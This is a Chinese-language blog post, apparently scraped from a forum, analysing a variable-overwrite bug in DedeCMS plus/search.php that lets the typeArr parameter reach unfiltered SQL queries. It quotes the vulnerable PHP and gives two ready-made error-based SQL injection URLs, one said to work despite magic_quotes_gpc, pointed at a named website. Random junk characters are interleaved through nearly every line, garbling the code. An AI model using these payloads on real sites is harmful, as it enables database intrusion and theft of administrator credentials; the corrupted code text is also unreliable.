微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.% E1 L; O* H6 k) ]) C/ J$ c
作者: c4rp3nt3r@0x50sec.org
7 k. c u; H; z) Z" G$ ADedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.6 ^1 P( c* p/ O- A& q# U% z. k
, U. }% |& r6 W* [+ O
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.% [8 [7 x3 x M7 U
% d, a" u+ g+ Q
============
) C2 ?& p8 M$ O* H8 J0 Z( H- x
9 H5 h1 X0 t# W, h; ^/ o( I
8 ^) L* e. z$ kDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
: Z- O; ~8 c: z8 p+ O
8 W$ h6 u2 n% V& w- trequire_once(dirname(__FILE__).”/../include/common.inc.php”);
* b1 X Z0 `% k6 vrequire_once(DEDEINC.”/arc.searchview.class.php”);* x+ x- h" ^/ j9 A! c
, T4 t! k* Z5 X$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;. o: F& R# c* N2 ^! U$ @
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
4 m& |" @2 B- ~" b5 X2 z5 U$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
; V) e0 `: G; `+ Z$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;0 N; e1 D$ }8 r" d
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;1 ^5 X0 m- z3 q) ?
6 m; u. ]( f8 `( ]- o! B
if(!isset($orderby)) $orderby=”;
& A% a4 B& `3 }" Z5 Y) selse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);$ `- f+ a0 V3 `! T7 s% c$ k
2 b& \0 c/ g( @
5 U$ [' p0 X; V, Dif(!isset($searchtype)) $searchtype = ‘titlekeyword’;0 r ]9 S5 F% H8 g8 [* p
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);: c! }; T( j# i6 D
( w$ t; ? U6 v$ m* ]; w- U( yif(!isset($keyword)){
# ^( W) t1 M2 j% V if(!isset($q)) $q = ”;/ a, A& G- f! e% S2 Z3 q1 p
$keyword=$q;/ X. Y( d* \+ K# b1 H
}
' |7 ?. H3 q$ Y3 _$ Z: U# A( ^ ; X6 i0 f3 C. C& U- @7 g5 A
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));. d& Q7 Q9 V# ^% S
) {" g9 O0 I: g9 z0 ]% H- y% s6 ~//查找栏目信息+ S4 R. k1 o" q) ^! ]( @) o
if(empty($typeid))2 v% X" f, R2 D1 p3 @% l+ o
{
7 [* b/ Z1 g5 A, ` $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
! g; W: T C/ w# j' C8 P! ? if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
/ E8 v) N0 J* F6 h% b6 {0 _ {
# K# {4 t) U/ Z( U4 e& N( z $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
% `& b' X# E$ N fwrite($fp, “<”.”?php\r\n”);) n9 Q- q& k. E7 }; d. a& P
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);9 Y" V T }6 u4 \( H* D# |- l
$dsql->Execute();6 ]1 ?; E; d% e9 z* l9 V) e; F
while($row = $dsql->GetArray())' F9 B8 C# E5 _9 R u h) p
{2 U4 G% }: @2 ?" a# \# G5 e
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
. f; B, A6 t1 o7 A B }
9 m, e: i$ t! W6 ^$ g fwrite($fp, ‘?’.'>’);
1 N% [& j0 ^* h2 z, Y4 l0 x fclose($fp);
9 }0 H8 G3 o$ }" L- S }
% `! a( J; c. @! p5 W //引入栏目缓存并看关键字是否有相关栏目内容8 L8 l. N* S- p4 y' |" D
require_once($typenameCacheFile);
- l: ~* B; g! _. |+ j/ D \# } b//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
4 J+ z9 l0 x6 L& K4 j3 M//9 s& ~9 ~* b9 A" X) d; ]
if(isset($typeArr) && is_array($typeArr))) a- S9 S# ]2 i0 v0 I
{3 _- R; |$ F7 I& p7 A; u8 R% W
foreach($typeArr as $id=>$typename)
, D6 v+ w% e, b {
" ]) [6 {- B) \! [9 d" _" D $ }; c! S: T; m/ R9 r& q; E
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
5 n$ ` h1 y5 ^ if($keyword != $keywordn)/ ^+ _) {- u( L) ^# {& M T
{
[3 P* j. @% w( L $keyword = $keywordn;5 c$ Z/ Q: f3 s% }! n0 [
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设7 P: V2 T4 Z! U. `
break;
/ E* Z1 M/ H. K1 l1 ^; X }
- M" d" g# z9 ~ t0 l% L }
3 ?* _' {6 n1 A8 {* `& b h }1 j: e9 `# I) F
}. g* L9 l! y& a
然后plus/search.php文件下面定义了一个 Search类的对象 .. b( Q/ e- k6 K! g& C5 d$ Q* U, X6 V1 `
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
# _2 |* o$ w# [* i) V4 s$this->TypeLink = new TypeLink($typeid);! ?- u- n1 f7 [, X* i: |9 B" {% Y- V
( j! r, V& y, S! w$ U+ d) G; j d2 [
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
" @$ C- r3 L& l5 O" D, H9 K- o9 y+ [
/ h. H A- [ C( U; Q( g7 rclass TypeLink6 N; \3 L. J) a: c) J0 Y W% r* P
{
, V. D" n. X( M# o var $typeDir;) d% b7 ~0 E: g5 c: l- X. T
var $dsql;: B& O1 Q9 j% z- {: q' P' j1 X
var $TypeID;/ D" u: S$ q% G7 P1 C
var $baseDir;" Z# T4 r, H: \
var $modDir;
: A, Z+ K# q. x' p var $indexUrl;
* P) v! V9 R5 F* @2 N( \ var $indexName;+ \: U x4 c+ q% S( b: k
var $TypeInfos;* V9 t( Q Y& _, @% Q" V, H0 X. R
var $SplitSymbol;
& S2 _6 L1 b8 Z var $valuePosition;
I- ^5 F& u1 X ^, b7 V; B+ |; I var $valuePositionName; J" X8 ~- h" Z- }9 o5 i/ T" R
var $OptionArrayList;//构造函数///////* c! a# j5 g Q$ r9 u3 j
//php5构造函数
3 n9 q" @! H" ? S function __construct($typeid): q( r8 l. \ G' q& x
{ S r. x$ }* a5 I
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl']; ?! m7 T; G8 ~ x* C. v! W% C! V
$this->indexName = $GLOBALS['cfg_indexname'];
5 p! {: r% c) N $this->baseDir = $GLOBALS['cfg_basedir'];
2 t+ z# x) A {* \ $this->modDir = $GLOBALS['cfg_templets_dir'];1 `& s2 B5 E6 [
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
8 K. m% B: }5 y& T+ u $this->dsql = $GLOBALS['dsql'];" ?# e% }% y4 y; r) V* e' M. R* J7 c
$this->TypeID = $typeid;$ x% A+ F3 [, B9 @! r
$this->valuePosition = ”;0 H& d, m9 W, Z" {) L
$this->valuePositionName = ”;7 C7 x: U8 g7 }/ u
$this->typeDir = ”;
g3 j$ X4 ~5 c W7 W $this->OptionArrayList = ”;4 ~$ J. {) ~9 m+ V! ]% h) F
# e: I% _% J& _& I6 S6 ]
//载入类目信息
7 {$ ]4 H1 X3 g( h9 q
, e( k! G7 Q* f/ v <font color=”Red”>$query = “SELECT tp.*,ch.typename as# b8 X. m1 S0 ^
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join& ]; V9 N) P/ O0 B4 B; s3 E8 T4 \) ~; Y2 H
`#@__channeltype` ch
; w; m ~& @, b: ~ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿0 x$ t6 _ w7 @! I5 A* _
5 v5 A. Y4 I0 Z if($typeid > 0)
1 o. [, j2 o# q( {: p" j {# V' }2 r; f+ @6 W( f6 g* [9 m$ e
$this->TypeInfos = $this->dsql->GetOne($query);
8 l R7 h a1 G7 `) `% _利用代码一 需要 即使magic_quotes_gpc = Off
6 |' L4 s6 A( K, P9 ~ 0 g0 t9 \0 \) z. G3 u- X& t
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
3 j& @$ K- o' c* G5 y- v5 b4 z
. Q: w( D+ y( D这只是其中一个利用代码… Search 类的构造函数再往下
- c; @) V* W* B
# B! f0 Z( ?2 I# p7 O……省略
$ d- C9 y8 [. W7 X$ @: W$this->TypeID = $typeid;; L4 s7 C% s1 {1 ]! W
……省略9 M9 P$ U2 e4 w8 C& S% n* z
if($this->TypeID==”0″){
) ]; O" p3 p/ Y# R! m. O $this->ChannelTypeid=1;
/ v b4 R' {7 \- y8 _ }else{9 C" z- @9 l+ C8 S1 b
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲( r/ |, e5 k% c- h" ^
//现在不鸡肋了吧亲…
4 I) U8 i# B4 M. J" ` $this->ChannelTypeid=$row['channeltype'];, d7 M7 w0 m3 x/ }
0 `: f% t# a/ W' f
}
9 D0 S" }( B" y) ~0 L" t6 t利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
2 M0 K! H9 f# L: w5 L( V # [% d) }2 j4 Q, U5 n$ }
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title$ N! I8 }; E8 y I
9 M+ c ], f8 Y. Z+ X! {
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
; Q) w: v; T$ I ^6 x4 E+ @+ f4 E |